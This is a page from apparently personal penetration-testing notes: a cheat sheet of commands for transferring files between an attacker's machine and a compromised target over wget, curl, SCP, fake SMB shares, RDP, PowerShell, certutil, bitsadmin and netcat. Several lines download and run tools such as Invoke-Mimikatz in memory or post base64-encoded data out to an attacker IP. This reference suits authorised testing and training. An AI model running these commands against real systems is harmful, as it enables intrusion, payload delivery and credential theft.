πŸ““
Sfoffo - Pentesting Notes
View on GitHub
  • 🏠/home/sfoffo/.pt-notes
  • 🏳️Contributions
    • 2024 Contributions
      • CVE-2024-42845
      • CVE-2024-41819
      • CVE-2024-41943
      • CVE-2024-50344
  • πŸ€Support this Project
  • πŸ“‚Active Directory
    • Initial Access
    • Internal Enumeration & Lateral Movement
    • Privilege Escalation to Domain Admin using Known Exploits
    • Domain Trusts
  • 🐧Linux Privilege Escalation
    • Enumerating Attack Vectors
    • Privileged Groups
    • Environment Variables Abuse
    • Capabilities Abuse
    • Programs, Jobs and Services
    • Miscellaneous Techniques
    • Recent CVEs
  • πŸͺŸWindows Privilege Escalation
    • Enumerating Attack Vectors
    • Excessive User Rights Abuse
    • Built-in Groups Abuse
    • File System ACLs
    • Services Hijacking
    • User Account Control (UAC) Bypass
    • Living off the Land
  • πŸ›Bug Bounty Hunting
    • Bug Bounty Tools
  • πŸ•ΈοΈWeb Applications
    • Web Attacks
      • Cross Site Scripting (XSS)
      • SQL Injection (SQLi)
      • File Upload Vulnerabilities
      • Insecure Direct Object References (IDOR)
      • OS Command Injection
      • Local File Inclusion (LFI)
      • Remote File Inclusion (RFI)
      • XML External Entities (XXE)
      • HTTP Verb Tampering
    • Web Technologies
      • Tomcat
      • CGI Applications
      • WordPress
      • WebDav
      • Microsoft IIS
      • SAP Netweaver
      • Joomla
      • Drupal
      • Gitlab
      • Jenkins
      • osTicket
      • PRTG Network Monitor
      • Splunk
    • Fuzzing
  • πŸ”Information Gathering
  • πŸ“œProtocols and Services
    • DNS
    • FTP
    • IMAP
    • IPMI
    • MSSQL
    • MySQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • SMB
    • SMTP
    • SNMP
  • πŸ‘ΎUtilities, Scripts and Payloads
    • Shells and Payloads
    • Metasploit Framework
    • File Transfers
    • Pivoting, Tunneling, Port Forwarding
    • Password Attacks
Powered by GitBook
On this page
  • Introduction
  • Basic Methods
  • Using SSH Secure Copy (SCP)
  • Using a fake SMB Server
  • Using RDP Shares and Clipboard
  • Windows File Transfers
  • File Transfers with Netcat

Was this helpful?

Edit on GitHub
  1. Utilities, Scripts and Payloads

File Transfers

Introduction

There are many different methods to transfers files from a target machine to the attackers machine and vice versa. The following notes are a useful reference to help you achieve this task.


Basic Methods

Command
Description

cat filename | base64 -w 0; echo followed by echo 'encoding-result' | base64 -d

Encode and decode a file via base64 to transfer its content on local machine

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Download a file using Wget

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Download a file using cURL


Using SSH Secure Copy (SCP)

Command
Description

scp C:\Temp\bloodhound.zip user@target-ip:/tmp/bloodhound.zip

Upload a file using SCP

scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe

Download a file using SCP


Using a fake SMB Server

Command
Description

sudo impacket-smbserver sharename -smb2support /tmp/smbshare

Create an SMB Server with anonymous access

copy \\server-ip\share\nc.exe

Copy file to previous SMB Server when anonymous access is available

sudo impacket-smbserver sharename -smb2support /tmp/smbshare -user test -password test

Create an SMB Server hosting a share named "sharename" with credentials

net use n: \\server-ip\sharename /user:test test

Copy file to previous SMB Server when anonymous access is NOT available


Using RDP Shares and Clipboard

  • Create an SMB share containing the Kali user's home drive: xfreerdp /v:ip /u:user /p:password +home-drive

  • Connect to a FreeRDP server with a shared directory: xfreerdp /v:ip_address /u:username /p:password /drive:path/to/directory,share_name

  • Use RDP clipboard redirection: xfreerdp /v:ip_address /u:username /p:password +clipboard


Windows File Transfers

  • Download a file with PowerShell: Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1

  • Execute a file in memory using PowerShell: IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')

  • Upload a file with PowerShell: Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64

  • Download a file using Bitsadmin: bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

  • Download a file using Certutil: certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

  • Download a file using PHP php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

  • Invoke-WebRequest using a Chrome User Agent: Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"


File Transfers with Netcat

Case 1 - Using nc to Upload from attacker to target:

  1. From the target machine: nc -l -p 8000 > SharpKatz.exe

  2. From attacker machine: nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Case 2 - Using ncat to Upload from attacker to target:

  1. From the target machine: ncat -l -p 8000 --recv-only > SharpKatz.exe

  2. From attacker machine: ncat --send-only target-ip 8000 < SharpKatz.exe

Last updated 1 year ago

Was this helpful?

πŸ‘Ύ